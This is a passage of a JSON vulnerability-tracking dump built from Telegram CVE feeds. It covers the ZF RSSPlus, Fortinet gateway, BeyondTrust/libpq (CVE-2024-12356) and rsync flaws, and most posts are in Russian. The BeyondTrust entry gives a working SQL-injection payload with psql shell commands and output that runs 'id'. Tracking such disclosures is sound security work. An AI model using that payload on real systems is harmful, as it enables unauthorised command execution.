"12dd409f-797f-42ca-a479-74457f0d6681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://t.me/cvedetector/18062", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12054 - ZF Roll Stability Support Plus (RSSPlus) Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12054 \nPublished : Feb. 13, 2025, 11:15 p.m. | 33\u00a0minutes ago \nDescription : ZF Roll Stability Support Plus (RSSPlus)   \nis vulnerable to an authentication bypass vulnerability targeting   \ndeterministic RSSPlus SecurityAccess service seeds, which may allow an   \nattacker to remotely (proximal/adjacent with RF equipment or via pivot   \nfrom J2497 telematics devices) call diagnostic functions intended for   \nworkshop or repair scenarios. This can impact system availability,   \npotentially degrading performance or erasing software, however the   \nvehicle remains in a safe vehicle state. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-14T01:32:26.000000Z"}, {"uuid": "8256d60f-e303-4d59-a0c8-04edf80e1645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12013", "type": "seen", "source": "https://t.me/cvedetector/18037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12013 - Fortinet TCP/IP Gateway Default Credentials Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12013 \nPublished : Feb. 13, 2025, 4:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : A CWE-1392 \u201cUse of Default Credentials\u201d was discovered affecting the 130.8005 TCP/IP Gateway running firmware version 12h. The device exposes an FTP server with default and easy-to-guess admin credentials. A remote attacker capable of interacting with the FTP server could gain access and perform changes over resources exposed by the service such as configuration files where password hashes are saved or where network settings are stored. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T18:50:45.000000Z"}, {"uuid": "4d23b17b-cba3-47a9-b032-856a2e91e914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/5028", "content": "\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043b\u044e\u0447 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a API, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c\u0443 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043e\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0443\u0441\u043b\u0443\u0433 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 BeyondTrust. \u0414\u0430\u043d\u043d\u044b\u0439 API \u0431\u044b\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 BeyondTrust. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u043c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libpq, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 API \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0421\u0423\u0411\u0414 \u0438\u0437 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u0421\u0438 (\u043f\u043e\u0432\u0435\u0440\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438-\u043e\u0431\u0432\u044f\u0437\u043a\u0438 \u0434\u043b\u044f C++, Perl, PHP \u0438 Python). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0434\u043b\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u0430\u0432\u044b\u0447\u0435\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 PQescapeLiteral(), PQescapeIdentifier(), PQescapeString() \u0438\u043b\u0438 PQescapeStringConn().\n\n\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0435\u0433\u043e SQL-\u043a\u043e\u0434\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0439 \u0438\u0437\u0432\u043d\u0435 \u0442\u0435\u043a\u0441\u0442 \u043f\u0435\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u043d\u0443\u0442\u0440\u0438 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0432\u044b\u0448\u0435\u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 libpq. \u0412 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 BeyondTrust \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 psql. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 Unicode-\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043a\u0430\u0432\u044b\u0447\u0435\u043a \u0447\u0435\u0440\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0445 \u043c\u043d\u043e\u0433\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u044b\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439 UTF-8.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 UTF-8 \u0441\u0438\u043c\u0432\u043e\u043b, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0438\u0437 \u0431\u0430\u0439\u0442 0xC0 \u0438 0x27 (\"\u2514'\"). \u0411\u0430\u0439\u0442 0x27 \u0432 ASCII-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u043e\u0439 \u043a\u0430\u0432\u044b\u0447\u043a\u0435 (\"'\"), \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e. \u0412 \u043a\u043e\u0434\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 0xC0 \u0438 0x27 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0434\u0438\u043d Unicode-\u0441\u0438\u043c\u0432\u043e\u043b. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0431\u0430\u0439\u0442 0x27 \u0432 \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 psql \u043e\u043d \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043a\u0430\u0432\u044b\u0447\u043a\u0430.\n\n\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b psql \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \"\\!\", \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0439 \u0432 psql \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \"id\" \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \"hax\\xC0'; \\! id #\". \u0412 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u043d\u0438\u0436\u0435 \u0434\u043b\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f PHP-\u0441\u043a\u0440\u0438\u043f\u0442 dbquote, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 PHP-\u0444\u0443\u043d\u043a\u0446\u0438\u044e pg_escape_string, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 PQescapeString \u0438\u0437 libpq:\n\n   $ echo -e \"hello \\xC0'world'\" | ./dbquote  \n   'hello \u2514'world'''\n\n   $ quoted=$(echo -e \"hax\\xC0'; \\! id # \" | ./dbquote)\n\n   $ echo \"SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())\" | psql -e\n\n   SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax\u2514';\n   ERROR:  invalid byte sequence for encoding \"UTF8\": 0xc0 0x27\n\n   uid=1000(myexamplecompany) gid=1000(myexamplecompany) \n\u0412 PostgreSQL \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 BeyondTrust\nhttps://www.opennet.ru/opennews/art.shtml?num=62722\n\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0431\u0430\u0433\u0438\nCVE-2024-12356\nhttps://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis", "creation_timestamp": "2025-02-16T19:00:33.000000Z"}, {"uuid": "55b3ec81-dfcb-44d9-a38f-a91a16716a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/4937", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2025-01-15T18:03:39.000000Z"}, {"uuid": "9d035089-a1c7-4f0c-a6d0-80344057f343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/4937", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 